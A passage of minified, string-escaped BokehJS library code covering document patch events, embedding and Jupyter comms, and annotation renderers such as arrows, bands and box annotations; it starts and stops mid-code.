x=N.decode_column_data(h.new,e),w=x[0],k=x[1];g.setv({_shapes:k,data:w},{setter_id:i})}else{var d=P._resolve_refs(h.new,c,_);g.setv(((n={})[y]=d,n),{setter_id:i})}break;case\\\"ColumnDataChanged\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot stream to \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S],T=N.decode_column_data(h.new,e),w=T[0],k=T[1];if(null!=h.cols){for(var A in C.data)A in w||(w[A]=C.data[A]);for(var A in C._shapes)A in k||(k[A]=C._shapes[A])}C.setv({_shapes:k,data:w},{setter_id:i,check_eq:!1});break;case\\\"ColumnsStreamed\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot stream to \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S];if(!(C instanceof F.ColumnDataSource))throw new Error(\\\"Cannot stream to non-ColumnDataSource\\\");var w=h.data,E=h.rollover;C.stream(w,E,i);break;case\\\"ColumnsPatched\\\":var S=h.column_source.id;if(!(S in this._all_models))throw new Error(\\\"Cannot patch \\\"+S+\\\" which is not in the document\\\");var C=this._all_models[S];if(!(C instanceof F.ColumnDataSource))throw new Error(\\\"Cannot patch non-ColumnDataSource\\\");var M=h.patches;C.patch(M,i);break;case\\\"RootAdded\\\":var O=h.model.id,z=s[O];this.add_root(z,i);break;case\\\"RootRemoved\\\":var O=h.model.id,z=s[O];this.remove_root(z,i);break;case\\\"TitleChanged\\\":this.set_title(h.title,i);break;default:throw new Error(\\\"Unknown patch event \\\"+JSON.stringify(h))}}},P}();i.Document=c},function(t,e,i){var n=t(391),o=t(8),r=function(t){this.document=t},s=function(l){function t(t,e,i,n,r,o,s){var a=l.call(this,t)||this;return a.model=e,a.attr=i,a.old=n,a.new_=r,a.setter_id=o,a.hint=s,a}return n.__extends(t,l),t.prototype.json=function(t){if(\\\"id\\\"===this.attr)throw new Error(\\\"'id' field should never change, whatever code just set it is wrong\\\");if(null!=this.hint)return this.hint.json(t);var e=this.new_,i=o.HasProps._value_to_json(this.attr,e,this.model),n={};for(var r in o.HasProps._value_record_references(e,n,!0),this.model.id in n&&this.model!==e&&delete n[this.model.id],n)t[r]=n[r];return{kind:\\\"ModelChanged\\\",model:this.model.ref(),attr:this.attr,new:i}},t}(i.DocumentChangedEvent=r);i.ModelChangedEvent=s;var a=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.column_source=e,n.patches=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"ColumnsPatched\\\",column_source:this.column_source,patches:this.patches}},t}(r);i.ColumnsPatchedEvent=a;var l=function(o){function t(t,e,i,n){var r=o.call(this,t)||this;return r.column_source=e,r.data=i,r.rollover=n,r}return n.__extends(t,o),t.prototype.json=function(t){return{kind:\\\"ColumnsStreamed\\\",column_source:this.column_source,data:this.data,rollover:this.rollover}},t}(r);i.ColumnsStreamedEvent=l;var h=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.title=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"TitleChanged\\\",title:this.title}},t}(r);i.TitleChangedEvent=h;var u=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.model=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return o.HasProps._value_record_references(this.model,t,!0),{kind:\\\"RootAdded\\\",model:this.model.ref()}},t}(r);i.RootAddedEvent=u;var c=function(r){function t(t,e,i){var n=r.call(this,t)||this;return n.model=e,n.setter_id=i,n}return n.__extends(t,r),t.prototype.json=function(t){return{kind:\\\"RootRemoved\\\",model:this.model.ref()}},t}(r);i.RootRemovedEvent=c},function(t,e,i){var n=t(391);n.__exportStar(t(50),i),n.__exportStar(t(51),i)},function(t,e,n){var r=t(5);function o(t){var e=document.getElementById(t);if(null==e)throw new Error(\\\"Error rendering Bokeh model: could not find #\\\"+t+\\\" HTML tag\\\");if(!document.body.contains(e))throw new Error(\\\"Error rendering Bokeh model: element #\\\"+t+\\\" must be under <body>\\\");if(\\\"SCRIPT\\\"==e.tagName){var i=r.div({class:n.BOKEH_ROOT});r.replaceWith(e,i),e=i}return e}n.BOKEH_ROOT=\\\"bk-root\\\",n.inject_css=function(t){var e=r.link({href:t,rel:\\\"stylesheet\\\",type:\\\"text/css\\\"});document.body.appendChild(e)},n.inject_raw_css=function(t){var e=r.style({},t);document.body.appendChild(e)},n._resolve_element=function(t){var e=t.elementid;return null!=e?o(e):document.body},n._resolve_root_elements=function(t){var e={};if(null!=t.roots)for(var i in t.roots)e[i]=o(t.roots[i]);return e}},function(t,e,i){var d=t(52),f=t(14),s=t(25),v=t(38),m=t(44),g=t(57),y=t(56),b=t(53),n=t(57);i.add_document_standalone=n.add_document_standalone;var r=t(56);i.add_document_from_session=r.add_document_from_session;var o=t(55);i.embed_items_notebook=o.embed_items_notebook,i.kernels=o.kernels;var a=t(53);function l(t,e,i,n){m.isString(t)&&(t=JSON.parse(v.unescape(t)));var r={};for(var o in t){var s=t[o];r[o]=d.Document.from_json(s)}for(var a=0,l=e;a<l.length;a++){var h=l[a],u=b._resolve_element(h),c=b._resolve_root_elements(h);if(null!=h.docid)g.add_document_standalone(r[h.docid],u,c,h.use_for_title);else{if(null==h.sessionid)throw new Error(\\\"Error rendering Bokeh items: either 'docid' or 'sessionid' was expected.\\\");var _=y._get_ws_url(i,n);f.logger.debug(\\\"embed: computed ws url: \\\"+_);var p=y.add_document_from_session(_,h.sessionid,u,c,h.use_for_title);p.then(function(){console.log(\\\"Bokeh items were rendered successfully\\\")},function(t){console.log(\\\"Error rendering Bokeh items:\\\",t)})}}}i.BOKEH_ROOT=a.BOKEH_ROOT,i.inject_css=a.inject_css,i.inject_raw_css=a.inject_raw_css,i.embed_item=function(t,e){var i,n={},r=v.uuid4();n[r]=t.doc,null==e&&(e=t.target_id);var o={roots:((i={})[t.root_id]=e,i),docid:r};s.defer(function(){return l(n,[o])})},i.embed_items=function(t,e,i,n){s.defer(function(){return l(t,e,i,n)})}},function(t,e,r){var l=t(52),o=t(283),s=t(14),h=t(32),u=t(57),c=t(53);function a(t,e){0<e.buffers.length?t.consume(e.buffers[0].buffer):t.consume(e.content.data);var i=t.message;null!=i&&this.apply_json_patch(i.content,i.buffers)}function _(i,n){if(\\\"undefined\\\"!=typeof Jupyter&&null!=Jupyter.notebook.kernel){s.logger.info(\\\"Registering Jupyter comms for target \\\"+i);var t=Jupyter.notebook.kernel.comm_manager;try{t.register_target(i,function(t){s.logger.info(\\\"Registering Jupyter comms for target \\\"+i);var e=new o.Receiver;t.on_msg(a.bind(n,e))})}catch(t){s.logger.warn(\\\"Jupyter comms failed to register. push_notebook() will not function. (exception reported: \\\"+t+\\\")\\\")}}else if(n.roots()[0].id in r.kernels){s.logger.info(\\\"Registering JupyterLab comms for target \\\"+i);var e=r.kernels[n.roots()[0].id];try{e.registerCommTarget(i,function(t){s.logger.info(\\\"Registering JupyterLab comms for target \\\"+i);var e=new o.Receiver;t.onMsg=a.bind(n,e)})}catch(t){s.logger.warn(\\\"Jupyter comms failed to register. push_notebook() will not function. (exception reported: \\\"+t+\\\")\\\")}}else console.warn(\\\"Jupyter notebooks comms not available. push_notebook() will not function. If running JupyterLab ensure the latest jupyterlab_bokeh extension is installed. In an exported notebook this warning is expected.\\\")}r.kernels={},r.embed_items_notebook=function(t,e){if(1!=h.size(t))throw new Error(\\\"embed_items_notebook expects exactly one document in docs_json\\\");for(var i=l.Document.from_json(h.values(t)[0]),n=0,r=e;n<r.length;n++){var o=r[n];null!=o.notebook_comms_target&&_(o.notebook_comms_target,i);var s=c._resolve_element(o),a=c._resolve_root_elements(o);u.add_document_standalone(i,s,a)}}},function(t,e,i){var s=t(1),a=t(14),l=t(57);i._get_ws_url=function(t,e){var i,n=\\\"ws:\\\";return\\\"https:\\\"==window.location.protocol&&(n=\\\"wss:\\\"),null!=e?(i=document.createElement(\\\"a\\\")).href=e:i=window.location,null!=t?\\\"/\\\"==t&&(t=\\\"\\\"):t=i.pathname.replace(/\\\\/+$/,\\\"\\\"),n+\\\"//\\\"+i.host+t+\\\"/ws\\\"};var h={};i.add_document_from_session=function(t,e,i,n,r){void 0===n&&(n={}),void 0===r&&(r=!1);var o=window.location.search.substr(1);return function(t,e,i){t in h||(h[t]={});var n=h[t];return e in n||(n[e]=s.pull_session(t,e,i)),n[e]}(t,e,o).then(function(t){return l.add_document_standalone(t.document,i,n,r)},function(t){throw a.logger.error(\\\"Failed to load Bokeh session \\\"+e+\\\": \\\"+t),t})}},function(t,e,i){var h=t(52),u=t(5),c=t(0),_=t(53);i.add_document_standalone=function(t,o,s,e){void 0===s&&(s={}),void 0===e&&(e=!1);var a={};function i(t){var e;t.id in s?e=s[t.id]:o.classList.contains(_.BOKEH_ROOT)?e=o:(e=u.div({class:_.BOKEH_ROOT}),o.appendChild(e));var i,n,r=(n=new(i=t).default_view({model:i,parent:null}),c.index[i.id]=n);r.renderTo(e),a[t.id]=r}for(var n=0,r=t.roots();n<r.length;n++){var l=r[n];i(l)}return e&&(window.document.title=t.title()),t.on_change(function(t){t instanceof h.RootAddedEvent?i(t.model):t instanceof h.RootRemovedEvent?function(t){var e=t.id;if(e in a){var i=a[e];i.remove(),delete a[e],delete c.index[e]}}(t.model):e&&t instanceof h.TitleChangedEvent&&(window.document.title=t.title)}),a}},function(t,e,i){t(280);var n=t(286);i.version=n.version;var r=t(54);i.embed=r;var o=t(281);i.protocol=o;var s=t(285);i._testing=s;var a=t(14);i.logger=a.logger,i.set_log_level=a.set_log_level;var l=t(18);i.settings=l.settings;var h=t(0);i.Models=h.Models,i.index=h.index;var u=t(52);i.documents=u.documents;var c=t(284);i.safely=c.safely},function(t,e,i){var n=t(391),r=t(8),o=t(15),s=t(44),a=t(32),l=t(14),h=function(_){function i(t){return _.call(this,t)||this}return n.__extends(i,_),i.initClass=function(){this.prototype.type=\\\"Model\\\",this.define({tags:[o.Array,[]],name:[o.String],js_property_callbacks:[o.Any,{}],js_event_callbacks:[o.Any,{}],subscribed_events:[o.Array,[]]})},i.prototype.connect_signals=function(){var i=this;for(var t in _.prototype.connect_signals.call(this),this.js_property_callbacks)for(var e=this.js_property_callbacks[t],n=t.split(\\\":\\\"),r=n[0],o=n[1],s=void 0===o?null:o,a=function(t){var e=null!=s?l.properties[s][r]:l[r];l.connect(e,function(){return t.execute(i,{})})},l=this,h=0,u=e;h<u.length;h++){var c=u[h];a(c)}this.connect(this.properties.js_event_callbacks.change,function(){return i._update_event_callbacks}),this.connect(this.properties.subscribed_events.change,function(){return i._update_event_callbacks})},i.prototype._process_event=function(e){if(e.is_applicable_to(this)){e=e._customize_event(this);for(var t=0,i=this.js_event_callbacks[e.event_name]||[];t<i.length;t++){var n=i[t];n.execute(e,{})}null!=this.document&&this.subscribed_events.some(function(t){return t==e.event_name})&&this.document.event_manager.send_event(e)}},i.prototype.trigger_event=function(t){null!=this.document&&this.document.event_manager.trigger(t.set_model_id(this.id))},i.prototype._update_event_callbacks=function(){null!=this.document?this.document.event_manager.subscribed_models.add(this.id):l.logger.warn(\\\"WARNING: Document not defined for updating event callbacks\\\")},i.prototype._doc_attached=function(){a.isEmpty(this.js_event_callbacks)&&a.isEmpty(this.subscribed_events)||this._update_event_callbacks()},i.prototype.select=function(e){if(s.isString(e))return this.references().filter(function(t){return t instanceof i&&t.name===e});if(e.prototype instanceof r.HasProps)return this.references().filter(function(t){return t instanceof e});throw new Error(\\\"invalid selector\\\")},i.prototype.select_one=function(t){var e=this.select(t);switch(e.length){case 0:return null;case 1:return e[0];default:throw new Error(\\\"found more than one object matching given selector\\\")}},i}(r.HasProps);(i.Model=h).initClass()},function(t,e,i){var n=t(391),r=t(12),o=t(15),s=t(33),a=t(32),l=t(189),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._get_size=function(){throw new Error(\\\"not implemented\\\")},e.prototype.get_size=function(){return this.model.visible?Math.round(this._get_size()):0},e.prototype.set_data=function(t){var e,i,n=this.model.materialize_dataspecs(t);if(a.extend(this,n),this.plot_model.use_map){var r=this;null!=r._x&&(e=s.project_xy(r._x,r._y),r._x=e[0],r._y=e[1]),null!=r._xs&&(i=s.project_xsys(r._xs,r._ys),r._xs=i[0],r._ys=i[1])}},e}(l.RendererView);i.AnnotationView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Annotation\\\",this.define({plot:[o.Instance]}),this.override({level:\\\"annotation\\\"})},t.prototype.add_panel=function(t){if(null==this.panel||t!==this.panel.side){var e=new r.SidePanel({side:t});e.attach_document(this.document),this.set_panel(e)}},t.prototype.set_panel=function(t){this.panel=t,this.level=\\\"overlay\\\"},t}(l.Renderer);(i.Annotation=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(62),s=t(200),a=t(15),l=t(31),h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),null==this.model.source&&(this.model.source=new s.ColumnDataSource),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n,r=this.plot_view.frame;return\\\"data\\\"==this.model.start_units?(t=r.xscales[this.model.x_range_name].v_compute(this._x_start),e=r.yscales[this.model.y_range_name].v_compute(this._y_start)):(t=r.xview.v_compute(this._x_start),e=r.yview.v_compute(this._y_start)),\\\"data\\\"==this.model.end_units?(i=r.xscales[this.model.x_range_name].v_compute(this._x_end),n=r.yscales[this.model.y_range_name].v_compute(this._y_end)):(i=r.xview.v_compute(this._x_end),n=r.yview.v_compute(this._y_end)),[[t,e],[i,n]]},t.prototype.render=function(){if(this.model.visible){var t=this.plot_view.canvas_view.ctx;t.save();var e=this._map_data(),i=e[0],n=e[1];null!=this.model.end&&this._arrow_head(t,\\\"render\\\",this.model.end,i,n),null!=this.model.start&&this._arrow_head(t,\\\"render\\\",this.model.start,n,i),t.beginPath();var r=this.plot_model.canvas.bbox.rect,o=r.x,s=r.y,a=r.width,l=r.height;t.rect(o,s,a,l),null!=this.model.end&&this._arrow_head(t,\\\"clip\\\",this.model.end,i,n),null!=this.model.start&&this._arrow_head(t,\\\"clip\\\",this.model.start,n,i),t.closePath(),t.clip(),this._arrow_body(t,i,n),t.restore()}},t.prototype._arrow_head=function(t,e,i,n,r){for(var o=0,s=this._x_start.length;o<s;o++){var a=Math.PI/2+l.atan2([n[0][o],n[1][o]],[r[0][o],r[1][o]]);t.save(),t.translate(r[0][o],r[1][o]),t.rotate(a),\\\"render\\\"==e?i.render(t,o):\\\"clip\\\"==e&&i.clip(t,o),t.restore()}},t.prototype._arrow_body=function(t,e,i){if(this.visuals.line.doit)for(var n=0,r=this._x_start.length;n<r;n++)this.visuals.line.set_vectorize(t,n),t.beginPath(),t.moveTo(e[0][n],e[1][n]),t.lineTo(i[0][n],i[1][n]),t.stroke()},t}(r.AnnotationView);i.ArrowView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Arrow\\\",this.prototype.default_view=h,this.mixins([\\\"line\\\"]),this.define({x_start:[a.NumberSpec],y_start:[a.NumberSpec],start_units:[a.String,\\\"data\\\"],start:[a.Instance,null],x_end:[a.NumberSpec],y_end:[a.NumberSpec],end_units:[a.String,\\\"data\\\"],end:[a.Instance,function(){return new o.OpenHead({})}],source:[a.Instance],x_range_name:[a.String,\\\"default\\\"],y_range_name:[a.String,\\\"default\\\"]})},t}(r.Annotation);(i.Arrow=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(49),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ArrowHead\\\",this.define({size:[s.Number,25]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.visuals=new o.Visuals(this)},t}(r.Annotation);(i.ArrowHead=a).initClass();var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"OpenHead\\\",this.mixins([\\\"line\\\"])},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(0,0),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.stroke())},t}(a);(i.OpenHead=l).initClass();var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NormalHead\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.override({fill_color:\\\"black\\\"})},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,e),this._normal(t,e),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),this._normal(t,e),t.stroke())},t.prototype._normal=function(t,e){t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.closePath()},t}(a);(i.NormalHead=h).initClass();var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"VeeHead\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.override({fill_color:\\\"black\\\"})},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(0,.5*this.size),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,e),this._vee(t,e),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),this._vee(t,e),t.stroke())},t.prototype._vee=function(t,e){t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.lineTo(0,.5*this.size),t.closePath()},t}(a);(i.VeeHead=u).initClass();var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TeeHead\\\",this.mixins([\\\"line\\\"])},t.prototype.render=function(t,e){this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(.5*this.size,0),t.lineTo(-.5*this.size,0),t.stroke())},t.prototype.clip=function(t,e){},t}(a);(i.TeeHead=c).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(200),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n=this.plot_view.frame,r=this.model.dimension,o=n.xscales[this.model.x_range_name],s=n.yscales[this.model.y_range_name],a=\\\"height\\\"==r?s:o,l=\\\"height\\\"==r?o:s,h=\\\"height\\\"==r?n.yview:n.xview,u=\\\"height\\\"==r?n.xview:n.yview;t=\\\"data\\\"==this.model.lower.units?a.v_compute(this._lower):h.v_compute(this._lower),e=\\\"data\\\"==this.model.upper.units?a.v_compute(this._upper):h.v_compute(this._upper),i=\\\"data\\\"==this.model.base.units?l.v_compute(this._base):u.v_compute(this._base);var c=\\\"height\\\"==r?[1,0]:[0,1],_=c[0],p=c[1],d=[t,i],f=[e,i];this._lower_sx=d[_],this._lower_sy=d[p],this._upper_sx=f[_],this._upper_sy=f[p]},t.prototype.render=function(){if(this.model.visible){this._map_data();var t=this.plot_view.canvas_view.ctx;t.beginPath(),t.moveTo(this._lower_sx[0],this._lower_sy[0]);for(var e=0,i=this._lower_sx.length;e<i;e++)t.lineTo(this._lower_sx[e],this._lower_sy[e]);for(var n=this._upper_sx.length-1,e=n;0<=e;e--)t.lineTo(this._upper_sx[e],this._upper_sy[e]);t.closePath(),this.visuals.fill.doit&&(this.visuals.fill.set_value(t),t.fill()),t.beginPath(),t.moveTo(this._lower_sx[0],this._lower_sy[0]);for(var e=0,i=this._lower_sx.length;e<i;e++)t.lineTo(this._lower_sx[e],this._lower_sy[e]);this.visuals.line.doit&&(this.visuals.line.set_value(t),t.stroke()),t.beginPath(),t.moveTo(this._upper_sx[0],this._upper_sy[0]);for(var e=0,i=this._upper_sx.length;e<i;e++)t.lineTo(this._upper_sx[e],this._upper_sy[e]);this.visuals.line.doit&&(this.visuals.line.set_value(t),t.stroke())}},t}(r.AnnotationView);i.BandView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Band\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({lower:[s.DistanceSpec],upper:[s.DistanceSpec],base:[s.DistanceSpec],dimension:[s.Dimension,\\\"height\\\"],source:[s.Instance,function(){return new o.ColumnDataSource}],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t}(r.Annotation);(i.Band=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(19),l=t(5),s=t(15),a=t(24);i.EDGE_TOLERANCE=2.5;var h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),this.el.classList.add(\\\"bk-shading\\\"),l.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?(this.connect(this.model.change,function(){return t.render()}),this.connect(this.model.data_update,function(){return t.render()})):(this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.data_update,function(){return t.plot_view.request_render()}))},t.prototype.render=function(){var o=this;if(this.model.visible||\\\"css\\\"!=this.model.render_mode||l.hide(this.el),this.model.visible)if(null!=this.model.left||null!=this.model.right||null!=this.model.top||null!=this.model.bottom){var t=this.plot_model.frame,e=t.xscales[this.model.x_range_name],i=t.yscales[this.model.y_range_name],n=function(t,e,i,n,r){return null!=t?o.model.screen?t:\\\"data\\\"==e?i.compute(t):n.compute(t):r};this.sleft=n(this.model.left,this.model.left_units,e,t.xview,t._left.value),this.sright=n(this.model.right,this.model.right_units,e,t.xview,t._right.value),this.stop=n(this.model.top,this.model.top_units,i,t.yview,t._top.value),this.sbottom=n(this.model.bottom,this.model.bottom_units,i,t.yview,t._bottom.value);var r=\\\"css\\\"==this.model.render_mode?this._css_box.bind(this):this._canvas_box.bind(this);r(this.sleft,this.sright,this.sbottom,this.stop)}else l.hide(this.el)},t.prototype._css_box=function(t,e,i,n){var r=this.model.properties.line_width.value(),o=Math.floor(e-t)-r,s=Math.floor(i-n)-r;this.el.style.left=t+\\\"px\\\",this.el.style.width=o+\\\"px\\\",this.el.style.top=n+\\\"px\\\",this.el.style.height=s+\\\"px\\\",this.el.style.borderWidth=r+\\\"px\\\",this.el.style.borderColor=this.model.properties.line_color.value(),this.el.style.backgroundColor=this.model.properties.fill_color.value(),this.el.style.opacity=this.model.properties.fill_alpha.value();var a=this.model.properties.line_dash.value().length<2?\\\"solid\\\":\\\"dashed\\\";this.el.style.borderStyle=a,l.show(this.el)},t.prototype._canvas_box=function(t,e,i,n){var r=this.plot_view.canvas_view.ctx;r.save(),r.beginPath(),r.rect(t,n,e-t,i-n),this.visuals.fill.set_value(r),r.fill(),this.visuals.line.set_value(r),r.stroke(),r.restore()},t.prototype.interactive_bbox=function(){var t=this.model.properties.line_width.value()+i.EDGE_TOLERANCE;return new a.BBox({x0:this.sleft-t,y0:this.stop-t,x1:this.sright+t,y1:this.sbottom+t})},t.prototype.interactive_hit=function(t,e){if(null==this.model.in_cursor)return!1;var i=this.interactive_bbox();return i.contains(t,e)},t.prototype.cursor=function(t,e){return Math.abs(t-this.sleft)<3||Math.abs(t-this.sright)<3?this.model.ew_cursor:Math.abs(e-this.sbottom)<3||Math.abs(e-this.stop)<3?this.model.ns_cursor:t>this.sleft&&t<this.sright&&e>this.stop&&e<this.sbottom?this.model.in_cursor:null},t}(r.AnnotationView);i.BoxAnnotationView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BoxAnnotation\\\",this.prototype.default_view=h,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({render_mode:[s.RenderMode,\\\"canvas\\\"],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],top:[s.Number,null],top_units:[s.SpatialUnits,\\\"data\\\"],bottom:[s.Number,null],bottom_units:[s.SpatialUnits,\\\"data\\\"],left:[s.Number,null],left_units:[s.SpatialUnits,\\\"data\\\"],right:[s.Number,null],right_units:[s.SpatialUnits,\\\"data\\\"]}),this.internal({screen:[s.Boolean,!1],ew_cursor:[s.String,null],ns_cursor:[s.String,null],in_cursor:[s.String,null]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.data_update=new o.Signal0(this,\\\"data_update\\\")},t.prototype.update=function(t){var e=t.left,i=t.right,n=t.top,r=t.bottom;this.setv({left:e,right:i,top:n,bottom:r,screen:!0},{silent:!0}),this.data_update.emit()},t}(r.Annotation);(i.BoxAnnotation=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(207),s=t(104),u=t(167),a=t(192),l=t(193),h=t(184),c=t(15),_=t(41),p=t(21),g=t(22),d=t(32),f=t(44),v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._set_canvas_image()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.visible.change,function(){return t.plot_view.request_render()}),this.connect(this.model.ticker.change,function(){return t.plot_view.request_render()}),this.connect(this.model.formatter.change,function(){return t.plot_view.request_render()}),null!=this.model.color_mapper&&this.connect(this.model.color_mapper.change,function(){t._set_canvas_image(),t.plot_view.request_render()})},t.prototype._get_size=function(){if(null==this.model.color_mapper)return 0;var t=this.compute_legend_dimensions(),e=this.model.panel.side;switch(e){case\\\"above\\\":case\\\"below\\\":return t.height;case\\\"left\\\":case\\\"right\\\":return t.width;default:throw new Error(\\\"unreachable code\\\")}},t.prototype._set_canvas_image=function(){var t,e;if(null!=this.model.color_mapper){var i,n,r=this.model.color_mapper.palette;switch(\\\"vertical\\\"==this.model.orientation&&(r=p.reversed(r)),this.model.orientation){case\\\"vertical\\\":t=[1,r.length],i=t[0],n=t[1];break;case\\\"horizontal\\\":e=[r.length,1],i=e[0],n=e[1];break;default:throw new Error(\\\"unreachable code\\\")}var o=document.createElement(\\\"canvas\\\");o.width=i,o.height=n;var s=o.getContext(\\\"2d\\\"),a=s.getImageData(0,0,i,n),l=new u.LinearColorMapper({palette:r}).rgba_mapper,h=l.v_compute(p.range(0,r.length));a.data.set(h),s.putImageData(a,0,0),this.image=o}},t.prototype.compute_legend_dimensions=function(){var t,e,i=this.model._computed_image_dimensions(),n=[i.height,i.width],r=n[0],o=n[1],s=this._get_label_extent(),a=this.model._title_extent(),l=this.model._tick_extent(),h=this.model.padding;switch(this.model.orientation){case\\\"vertical\\\":t=r+a+2*h,e=o+l+s+2*h;break;case\\\"horizontal\\\":t=r+a+l+s+2*h,e=o+2*h;break;default:throw new Error(\\\"unreachable code\\\")}return{width:e,height:t}},t.prototype.compute_legend_location=function(){var 